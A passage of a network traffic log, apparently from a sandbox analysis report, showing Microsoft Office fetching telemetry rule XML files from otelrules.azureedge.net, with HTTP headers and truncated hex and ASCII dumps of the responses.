2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-1777c6cb7549x5qchC1TEBggbg00000009c000000000e1q2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:12 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 231cc5cf-201e-0096-37f7-3aace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092012Z-r1d97b99577brct2hC1TEBambg000000029g000000009w0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092012Z-r1d97b99577sdxndhC1TEBec5n00000008r000000000b6c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:12 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:12 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092012Z-185f5d8b95cgrrn8hC1NYCgwh400000009yg000000003z9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:12 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:12 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092012Z-1777c6cb754rz2pghC1TEBghen00000009900000000098ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092013Z-185f5d8b95csp6jmhC1NYCwy6s0000000a2g000000001dd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:13 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092013Z-1777c6cb754vxwc9hC1TEBykgw000000099000000000fs1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092013Z-185f5d8b95cdh56ghC1NYCk1x400000003w0000000007t3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092013Z-1777c6cb754j47wfhC1TEB5wrw000000055g00000000bznw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:14 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092014Z-185f5d8b95cdcwrthC1NYCy5b80000000a1g000000004pb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:14 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092014Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a70000000004014 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:14 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092014Z-1777c6cb7544n7p6hC1TEByvb400000009dg00000000fxy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 